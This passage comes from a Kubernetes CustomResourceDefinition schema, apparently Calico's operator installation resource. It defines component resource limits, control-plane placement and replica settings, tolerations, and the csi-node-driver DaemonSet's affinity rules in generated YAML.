                                x-kubernetes-list-map-keys:
                                - name
                                x-kubernetes-list-type: map
                              limits:
                                additionalProperties:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                  x-kubernetes-int-or-string: true
                                description: |-
                                  Limits describes the maximum amount of compute resources allowed.
                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                type: object
                              requests:
                                additionalProperties:
                                  anyOf:
                                  - type: integer
                                  - type: string
                                  pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                  x-kubernetes-int-or-string: true
                                description: |-
                                  Requests describes the minimum amount of compute resources required.
                                  If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                  otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                  More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                type: object
                            type: object
                        required:
                        - componentName
                        - resourceRequirements
                        type: object
                      type: array
                    controlPlaneNodeSelector:
                      additionalProperties:
                        type: string
                      description: |-
                        ControlPlaneNodeSelector is used to select control plane nodes on which to run Calico
                        components. This is globally applied to all resources created by the operator excluding daemonsets.
                      type: object
                    controlPlaneReplicas:
                      description: |-
                        ControlPlaneReplicas defines how many replicas of the control plane core components will be deployed.
                        This field applies to all control plane components that support High Availability. Defaults to 2.
                      format: int32
                      type: integer
                    controlPlaneTolerations:
                      description: |-
                        ControlPlaneTolerations specify tolerations which are then globally applied to all resources
                        created by the operator.
                      items:
                        description: |-
                          The pod this Toleration is attached to tolerates any taint that matches
                          the triple <key,value,effect> using the matching operator <operator>.
                        properties:
                          effect:
                            description: |-
                              Effect indicates the taint effect to match. Empty means match all taint effects.
                              When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                            type: string
                          key:
                            description: |-
                              Key is the taint key that the toleration applies to. Empty means match all taint keys.
                              If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                            type: string
                          operator:
                            description: |-
                              Operator represents a key's relationship to the value.
                              Valid operators are Exists and Equal. Defaults to Equal.
                              Exists is equivalent to wildcard for value, so that a pod can
                              tolerate all taints of a particular category.
                            type: string
                          tolerationSeconds:
                            description: |-
                              TolerationSeconds represents the period of time the toleration (which must be
                              of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                              it is not set, which means tolerate the taint forever (do not evict). Zero and
                              negative values will be treated as 0 (evict immediately) by the system.
                            format: int64
                            type: integer
                          value:
                            description: |-
                              Value is the taint value the toleration matches to.
                              If the operator is Exists, the value should be empty, otherwise just a regular string.
                            type: string
                        type: object
                      type: array
                    csiNodeDriverDaemonSet:
                      description: CSINodeDriverDaemonSet configures the csi-node-driver
                        DaemonSet.
                      properties:
                        metadata:
                          description: Metadata is a subset of a Kubernetes object's
                            metadata that is added to the DaemonSet.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              description: |-
                                Annotations is a map of arbitrary non-identifying metadata. Each of these
                                key/value pairs are added to the object's annotations provided the key does not
                                already exist in the object's annotations.
                              type: object
                            labels:
                              additionalProperties:
                                type: string
                              description: |-
                                Labels is a map of string keys and values that may match replicaset and
                                service selectors. Each of these key/value pairs are added to the
                                object's labels provided the key does not already exist in the object's labels.
                              type: object
                          type: object
                        spec:
                          description: Spec is the specification of the csi-node-driver
                            DaemonSet.
                          properties:
                            minReadySeconds:
                              description: |-
                                MinReadySeconds is the minimum number of seconds for which a newly created DaemonSet pod should
                                be ready without any of its container crashing, for it to be considered available.
                                If specified, this overrides any minReadySeconds value that may be set on the csi-node-driver DaemonSet.
                                If omitted, the csi-node-driver DaemonSet will use its default value for minReadySeconds.
                              format: int32
                              maximum: 2147483647
                              minimum: 0
                              type: integer
                            template:
                              description: Template describes the csi-node-driver
                                DaemonSet pod that will be created.
                              properties:
                                metadata:
                                  description: |-
                                    Metadata is a subset of a Kubernetes object's metadata that is added to
                                    the pod's metadata.
                                  properties:
                                    annotations:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Annotations is a map of arbitrary non-identifying metadata. Each of these
                                        key/value pairs are added to the object's annotations provided the key does not
                                        already exist in the object's annotations.
                                      type: object
                                    labels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        Labels is a map of string keys and values that may match replicaset and
                                        service selectors. Each of these key/value pairs are added to the
                                        object's labels provided the key does not already exist in the object's labels.
                                      type: object
                                  type: object
                                spec:
                                  description: Spec is the csi-node-driver DaemonSet's
                                    PodSpec.
                                  properties:
                                    affinity:
                                      description: |-
                                        Affinity is a group of affinity scheduling rules for the csi-node-driver pods.
                                        If specified, this overrides any affinity that may be set on the csi-node-driver DaemonSet.
                                        If omitted, the csi-node-driver DaemonSet will use its default value for affinity.
                                        WARNING: Please note that this field will override the default csi-node-driver DaemonSet affinity.
                                      properties:
                                        nodeAffinity:
                                          description: Describes node affinity scheduling
                                            rules for the pod.
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node matches the corresponding matchExpressions; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: |-
                                                  An empty preferred scheduling term matches all objects with implicit weight 0
                                                  (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                                properties:
                                                  preference:
                                                    description: A node selector term,
                                                      associated with the corresponding
                                                      weight.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  weight:
                                                    description: Weight associated
                                                      with matching the corresponding
                                                      nodeSelectorTerm, in the range
                                                      1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - preference
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to an update), the system
                                                may or may not try to eventually evict the pod from its node.
                                              properties:
                                                nodeSelectorTerms:
                                                  description: Required. A list of
                                                    node selector terms. The terms
                                                    are ORed.
                                                  items:
                                                    description: |-
                                                      A null or empty node selector term matches no objects. The requirements of
                                                      them are ANDed.
                                                      The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                    properties:
                                                      matchExpressions:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's labels.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchFields:
                                                        description: A list of node
                                                          selector requirements by
                                                          node's fields.
                                                        items:
                                                          description: |-
                                                            A node selector requirement is a selector that contains values, a key, and an operator
                                                            that relates the key and values.
                                                          properties:
                                                            key:
                                                              description: The label
                                                                key that the selector
                                                                applies to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                Represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                An array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. If the operator is Gt or Lt, the values
                                                                array must have a single element, which will be interpreted as an integer.
                                                                This array is replaced during a strategic merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  type: array
                                                  x-kubernetes-list-type: atomic
                                              required:
                                              - nodeSelectorTerms
                                              type: object
                                              x-kubernetes-map-type: atomic
                                          type: object
                                        podAffinity:
                                          description: Describes pod affinity scheduling
                                            rules (e.g. co-locate this pod in the
                                            same node, zone, etc. as some other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
                                                system may or may not try to eventually evict the pod from its node.
                                                When there are multiple elements, the lists of nodes corresponding to each
                                                podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                              items:
                                                description: |-
                                                  Defines a set of pods (namely those matching the labelSelector
                                                  relative to the given namespace(s)) that this pod should be
                                                  co-located (affinity) or not co-located (anti-affinity) with,
                                                  where co-located is defined as running on a node whose value of
                                                  the label with key <topologyKey> matches that of any node on which
                                                  a pod of the set of pods is running
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          type: object
                                        podAntiAffinity:
                                          description: Describes pod anti-affinity
                                            scheduling rules (e.g. avoid putting this
                                            pod in the same node, zone, etc. as some
                                            other pod(s)).
                                          properties:
                                            preferredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                The scheduler will prefer to schedule pods to nodes that satisfy
                                                the anti-affinity expressions specified by this field, but it may choose
                                                a node that violates one or more of the expressions. The node that is
                                                most preferred is the one with the greatest sum of weights, i.e.
                                                for each node that meets all of the scheduling requirements (resource
                                                request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                compute a sum by iterating through the elements of this field and adding
                                                "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                node(s) with the highest sum are the most preferred.
                                              items:
                                                description: The weights of all of
                                                  the matched WeightedPodAffinityTerm
                                                  fields are added per-node to find
                                                  the most preferred node(s)
                                                properties:
                                                  podAffinityTerm:
                                                    description: Required. A pod affinity
                                                      term, associated with the corresponding
                                                      weight.
                                                    properties:
                                                      labelSelector:
                                                        description: |-
                                                          A label query over a set of resources, in this case pods.
                                                          If it's null, this PodAffinityTerm matches with no Pods.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      matchLabelKeys:
                                                        description: |-
                                                          MatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                          Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      mismatchLabelKeys:
                                                        description: |-
                                                          MismatchLabelKeys is a set of pod label keys to select which pods will
                                                          be taken into consideration. The keys are used to lookup values from the
                                                          incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                          to select the group of existing pods which pods will be taken into consideration
                                                          for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                          pod labels will be ignored. The default value is empty.
                                                          The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                          Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                          This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      namespaceSelector:
                                                        description: |-
                                                          A label query over the set of namespaces that the term applies to.
                                                          The term is applied to the union of the namespaces selected by this field
                                                          and the ones listed in the namespaces field.
                                                          null selector and null or empty namespaces list means "this pod's namespace".
                                                          An empty selector ({}) matches all namespaces.
                                                        properties:
                                                          matchExpressions:
                                                            description: matchExpressions
                                                              is a list of label selector
                                                              requirements. The requirements
                                                              are ANDed.
                                                            items:
                                                              description: |-
                                                                A label selector requirement is a selector that contains values, a key, and an operator that
                                                                relates the key and values.
                                                              properties:
                                                                key:
                                                                  description: key
                                                                    is the label key
                                                                    that the selector
                                                                    applies to.
                                                                  type: string
                                                                operator:
                                                                  description: |-
                                                                    operator represents a key's relationship to a set of values.
                                                                    Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                  type: string
                                                                values:
                                                                  description: |-
                                                                    values is an array of string values. If the operator is In or NotIn,
                                                                    the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                    the values array must be empty. This array is replaced during a strategic
                                                                    merge patch.
                                                                  items:
                                                                    type: string
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                              required:
                                                              - key
                                                              - operator
                                                              type: object
                                                            type: array
                                                            x-kubernetes-list-type: atomic
                                                          matchLabels:
                                                            additionalProperties:
                                                              type: string
                                                            description: |-
                                                              matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                              map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                              operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                            type: object
                                                        type: object
                                                        x-kubernetes-map-type: atomic
                                                      namespaces:
                                                        description: |-
                                                          namespaces specifies a static list of namespace names that the term applies to.
                                                          The term is applied to the union of the namespaces listed in this field
                                                          and the ones selected by namespaceSelector.
                                                          null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                        items:
                                                          type: string
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      topologyKey:
                                                        description: |-
                                                          This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                          the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                          whose value of the label with key topologyKey matches that of any node on which any of the
                                                          selected pods is running.
                                                          Empty topologyKey is not allowed.
                                                        type: string
                                                    required:
                                                    - topologyKey
                                                    type: object
                                                  weight:
                                                    description: |-
                                                      weight associated with matching the corresponding podAffinityTerm,
                                                      in the range 1-100.
                                                    format: int32
                                                    type: integer
                                                required:
                                                - podAffinityTerm
                                                - weight
                                                type: object
                                              type: array
                                              x-kubernetes-list-type: atomic
                                            requiredDuringSchedulingIgnoredDuringExecution:
                                              description: |-
                                                If the anti-affinity requirements specified by this field are not met at
                                                scheduling time, the pod will not be scheduled onto the node.
                                                If the anti-affinity requirements specified by this field cease to be met
                                                at some point during pod execution (e.g. due to a pod label update), the
